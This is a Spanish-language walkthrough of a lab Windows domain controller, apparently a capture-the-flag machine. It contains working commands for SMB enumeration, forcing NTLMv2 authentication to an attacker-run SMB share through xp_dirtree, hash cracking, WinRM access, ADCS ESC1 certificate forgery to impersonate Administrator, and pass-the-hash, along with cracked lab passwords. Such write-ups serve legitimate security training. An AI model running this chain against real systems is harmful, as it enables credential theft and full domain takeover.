Escape

Publicado: 24 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium OS: Windows

📝 Descripción

Sequel es una máquina Windows de dificultad media que simula un entorno empresarial con Active Directory Certificate Services (ADCS). La explotación comienza con el acceso a recursos SMB públicos que contienen documentación sobre procedimientos de acceso a SQL Server. A través de estas credenciales iniciales, se realiza un ataque de captura de hash NTLMv2 mediante el abuso de la función xp_dirtree en MSSQL. Una vez obtenidas las credenciales del usuario sql_svc, se accede al sistema via WinRM y se descubren credenciales adicionales en logs del servidor SQL. Finalmente, se explota una vulnerabilidad ESC1 en ADCS para obtener un certificado digital que permite suplantar al administrador del dominio y comprometer completamente el sistema.


📊 Resumen de la Explotación

🔗 Cadena de Ataque

graph TD
    A[Enumeración SMB] --> B[Documento PDF con credenciales]
    B --> C[Acceso MSSQL como PublicUser]
    C --> D[xp_dirtree + Hash NTLMv2]
    D --> E[Cracking → sql_svc credentials]
    E --> F[WinRM como sql_svc]
    F --> G[Análisis de logs SQL]
    G --> H[Credenciales Ryan.Cooper]
    H --> I[WinRM como Ryan.Cooper]
    I --> J[Enumeración ADCS]
    J --> K[ESC1 Vulnerability]
    K --> L[Certificado malicioso]
    L --> M[Hash Administrator]
    M --> N[Compromiso total]

🎯 Puntos Clave

  • Enumeración SMB: Acceso a recursos públicos con credenciales anónimas

  • Análisis de documentación: Extracción de credenciales de manuales corporativos

  • MSSQL Enumeration: Uso de xp_dirtree para captura de hash NTLMv2

  • Cracking de hashes: Obtención de credenciales mediante diccionario

  • Log Analysis: Búsqueda de credenciales en archivos de log del sistema

  • ADCS ESC1: Explotación de plantillas de certificados vulnerables

  • Certificate Impersonation: Suplantación de identidad mediante certificados digitales


🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.11.202         
PING 10.10.11.202 (10.10.11.202) 56(84) bytes of data.
64 bytes from 10.10.11.202: icmp_seq=1 ttl=127 time=46.0 ms
64 bytes from 10.10.11.202: icmp_seq=2 ttl=127 time=43.4 ms

--- 10.10.11.202 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 43.375/44.712/46.049/1.337 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.202 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                                                      
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49708,55333

🔍 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.11.202 -oN services.txt            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-24 19:05 CEST
Nmap scan report for 10.10.11.202
Host is up (0.042s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-25 01:05:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2025-06-25T01:06:44+00:00; +8h00m01s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2025-06-25T01:06:44+00:00; +8h00m01s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-06-25T01:01:38
|_Not valid after:  2055-06-25T01:01:38
| ms-sql-ntlm-info: 
|   10.10.11.202:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.202:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-06-25T01:06:44+00:00; +8h00m01s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2025-06-25T01:06:44+00:00; +8h00m01s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-25T01:06:44+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
55333/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-25T01:06:06
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:

echo "10.10.11.202 sequel.htb" | sudo tee -a /etc/hosts

📋 Análisis de Servicios Detectados

Puerto
Servicio
Descripción

53

DNS

Servicio DNS del dominio

88

Kerberos

Autenticación del dominio

135

MSRPC

Llamadas a procedimientos remotos

139/445

SMB/NetBIOS

Recursos compartidos

389/636

LDAP/LDAPS

Directorio activo

1433

MSSQL

Base de datos SQL Server

5985

WinRM

Administración remota de Windows

🔥 Servicios críticos identificados:

  • SMB (445): Posible acceso a recursos compartidos

  • MSSQL (1433): Base de datos con potencial información sensible

  • WinRM (5985): Vector de acceso remoto

  • LDAP (389/636): Enumeración de usuarios del dominio


🌐 Enumeración de Servicios

🗂️ SMB (Puerto 445) - Acceso Inicial

Ya que no disponemos de credenciales, comenzamos tratando de enumerar posibles recursos mediante una sesión nula:

smbclient -N -L //10.10.11.202                    

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Public          Disk      
	SYSVOL          Disk      Logon server share 
netexec smb 10.10.11.202 -u 'anonymous' -p '' --shares       
SMB         10.10.11.202    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.202    445    DC               [+] sequel.htb\anonymous: (Guest)
SMB         10.10.11.202    445    DC               [*] Enumerated shares
SMB         10.10.11.202    445    DC               Share           Permissions     Remark
SMB         10.10.11.202    445    DC               -----           -----------     ------
SMB         10.10.11.202    445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.202    445    DC               C$                              Default share
SMB         10.10.11.202    445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.202    445    DC               NETLOGON                        Logon server share
SMB         10.10.11.202    445    DC               Public          READ            
SMB         10.10.11.202    445    DC               SYSVOL                          Logon server share

🎯 Recursos compartidos identificados:

  • Public → Acceso de lectura disponible ✅

  • IPC$ → Acceso de lectura para enumeración ✅

  • ADMIN$, C$, NETLOGON, SYSVOL → Sin acceso ❌

🔍 Enumeración del recurso Public

smbclient -N \\\\10.10.11.202\\Public
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Nov 19 12:51:25 2022
  ..                                  D        0  Sat Nov 19 12:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 14:39:43 2022

		5184255 blocks of size 4096. 1439394 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (279.7 KiloBytes/sec) (average 279.7 KiloBytes/sec)

📄 Contenido del archivo "SQL Server Procedures":

🔍 Información extraída del documento:

  • Debido a incidentes de seguridad previos con servidores SQL

  • Tom implementó procedimientos de acceso para testing en servidor clonado

  • Usuario de prueba: PublicUser

  • Contraseña: GuestUserCantWrite1

  • Método de autenticación: SQL Server Authentication (no Windows Auth)

  • Instancia temporal en el controlador de dominio (será eliminada)

🔑 Primera credencial obtenida: PublicUser:GuestUserCantWrite1


🗄️ MSSQL (Puerto 1433) - Escalada de Privilegios

Verificamos las credenciales encontradas en el documento PDF contra el servicio MSSQL:

impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htb
  • SQL Server Authentication utilizada (sin -windows-auth)

  • Conexión exitosa al servidor SQL

🔧 Enumeración de privilegios y capacidades

SQL (PublicUser  guest@master)> SELECT SYSTEM_USER;
SQL (PublicUser  guest@master)> SELECT USER_NAME();
SQL (PublicUser  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
SQL (PublicUser  guest@master)> SELECT SYSTEM_USER;
----------   
PublicUser   

SQL (PublicUser  guest@master)> SELECT USER_NAME();
-----   
guest   

SQL (PublicUser  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-   
0   

⚠️ Limitaciones identificadas:

  • Usuario no tiene privilegios de sysadmin

  • No puede habilitar xp_cmdshell para ejecución de comandos

  • Acceso limitado a funciones administrativas

🎯 Ataque de Captura de Hash NTLMv2 - xp_dirtree

Configuramos un servidor SMB malicioso para capturar hashes:

impacket-smbserver smbShare $(pwd) -smb2support

Forzamos la autenticación del servicio SQL contra nuestro servidor:

SQL (PublicUser  guest@master)> EXEC MASTER.sys.xp_dirtree '\\10.10.14.4\smbShare\test'

🎉 Hash NTLMv2 capturado:

[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
sql_svc::sequel:aaaaaaaaaaaaaaaa:1055af4d281c8d6617b054ecd21411d0:010100000000000080d924132ee5db01305f05d01e34bb350000000001001000580045004e004500760069007400470003001000580045004e00450076006900740047000200100069006d006c00700061004d006d0076000400100069006d006c00700061004d006d0076000700080080d924132ee5db0106000400020000000800300030000000000000000000000000300000dc5bb9e8723fbd567fc9f36f896d55bbc3522f69fb240fc4acceeb03faa19c760a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0034000000000000000000

🔓 Cracking del Hash

hashcat -m 5600 -a 0 sql_svc_hash /usr/share/wordlists/rockyou.txt

🔑 Segunda credencial obtenida: sql_svc:REGGIE1234ronnie


🚀 Acceso Inicial

🔐 Acceso WinRM como sql_svc

evil-winrm -i 10.10.11.202 -u sql_svc -p 'REGGIE1234ronnie'
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc

*Evil-WinRM* PS C:\Users\sql_svc\Documents> net user sql_svc
User name                    sql_svc
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
Password last set            11/18/2022 2:13:13 PM
Password expires             Never
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/24/2025 6:41:49 PM
Logon hours allowed          All
Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users

👥 Enumeración de usuarios del sistema

*Evil-WinRM* PS C:\Users> dir

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:58 AM                Administrator
d-r---        7/20/2021  12:23 PM                Public
d-----         2/1/2023   6:37 PM                Ryan.Cooper
d-----         2/7/2023   8:10 AM                sql_svc

🎯 Usuarios identificados:

  • Administrator → Objetivo principal

  • Ryan.Cooper → Usuario potencial (sin acceso actual)

  • sql_svc → Usuario actual


🕵️ Enumeración del Sistema

📂 Búsqueda de información sensible

*Evil-WinRM* PS C:\> dir -Hidden -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|credential|key"
*Evil-WinRM* PS C:\SQLServer\Logs> dir

    Directory: C:\SQLServer\Logs

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK

🔍 Análisis de logs de SQL Server

*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK | Select-String -Pattern "password|login|fail"

🚨 Información crítica encontrada en los logs:

2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

💡 Análisis de los logs:

  • Usuario Ryan.Cooper intentó autenticarse

  • La contraseña NuclearMosquito3 fue enviada como nombre de usuario por error

  • Típico error humano durante el proceso de login

🔑 Tercera credencial obtenida: Ryan.Cooper:NuclearMosquito3


🔄 Movimiento Lateral

🎯 Acceso como Ryan.Cooper

evil-winrm -i 10.10.11.202 -u ryan.cooper -p 'NuclearMosquito3'

🏆 Primera Flag - User.txt

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> type user.txt
[REDACTED]

🔍 Análisis de membresías de grupo

🎯 Grupos críticos identificados:

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami /groups
Grupo
Descripción
Impacto

BUILTIN\Certificate Service DCOM Access

Acceso a servicios de certificados

Alto - Potencial ESC1-ESC8

BUILTIN\Remote Management Users

Acceso WinRM

Medio - Ya explotado

SEQUEL\Domain Users

Usuarios del dominio

Bajo - Acceso estándar

🚨 ¡Grupo crítico detectado!Certificate Service DCOM Access sugiere presencia de Active Directory Certificate Services (ADCS)


💥 Escalada de Privilegios - ADCS ESC1

🔍 Enumeración de ADCS

certipy-ad find -u 'ryan.cooper' -p 'NuclearMosquito3' -dc-ip 10.10.11.202 -vulnerable -stdout

📋 Autoridad Certificadora identificada:

  • CA Name: sequel-DC-CA

  • DNS Name: dc.sequel.htb

  • Status: Activa y funcional

🎯 Plantilla vulnerable encontrada:

Template Name                       : UserAuthentication
Display Name                        : UserAuthentication
Certificate Authorities             : sequel-DC-CA
Enabled                             : True
Client Authentication               : True
Enrollee Supplies Subject           : True  ⚠️ VULNERABLE
Certificate Name Flag               : EnrolleeSuppliesSubject
Extended Key Usage                  : Client Authentication
[!] Vulnerabilities
  ESC1                              : Enrollee supplies subject and template allows client authentication.

🧨 ¿Qué es la vulnerabilidad ESC1?

ESC1 es una vulnerabilidad crítica de configuración en ADCS que permite la suplantación de identidad:

🔴 Condiciones requeridas:

  1. Enrollee Supplies Subject: El solicitante puede definir el subject del certificado

  2. Client Authentication: El certificado permite autenticación de usuarios

  3. Usuario tiene permisos de enrollment: Puede solicitar certificados

🎯 Impacto:

  • Suplantación de cualquier usuario del dominio

  • Escalada de privilegios sin conocer contraseñas

  • Compromiso total del dominio

🎫 Explotación - Solicitud de certificado malicioso

certipy-ad req -u ryan.cooper@sequel.htb -p 'NuclearMosquito3' \
  -ca 'sequel-DC-CA' -template UserAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.202 -pfx administrator.pfx
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

📋 Parámetros del ataque:

Parámetro
Valor
Descripción

-u

ryan.cooper@sequel.htb

Usuario autenticado legítimo

-ca

sequel-DC-CA

Autoridad certificadora objetivo

-template

UserAuthentication

Plantilla vulnerable ESC1

-upn

administrator@sequel.htb

Identidad suplantada

-pfx

administrator.pfx

Certificado malicioso generado

🎟️ Autenticación con certificado malicioso

# Sincronización de tiempo crítica para Kerberos
sudo rdate -n 10.10.11.202

# Autenticación con el certificado malicioso  
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.202
Wed Jun 25 16:47:23 CEST 2025
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:[REDACTED]

🎉 ¡Hash del administrador obtenido!


👑 Compromiso Total del Sistema

🚀 Pass-the-Hash Attack

evil-winrm -i 10.10.11.202 -u Administrator -H '[REDACTED]'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /priv

🏆 Flag Final - Root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

🛠️ Herramientas Utilizadas

Herramienta
Propósito
Fase

nmap

Port scanning y service enumeration

Reconocimiento

smbclient

Enumeración de recursos SMB

Enumeración

impacket-mssqlclient

Conexión a SQL Server

Acceso Inicial

impacket-smbserver

Captura de hash NTLMv2

Escalada

hashcat

Cracking de hashes

Escalada

evil-winrm

Acceso remoto Windows

Acceso/Lateral

certipy-ad

Explotación ADCS ESC1

Escalada Final

Last updated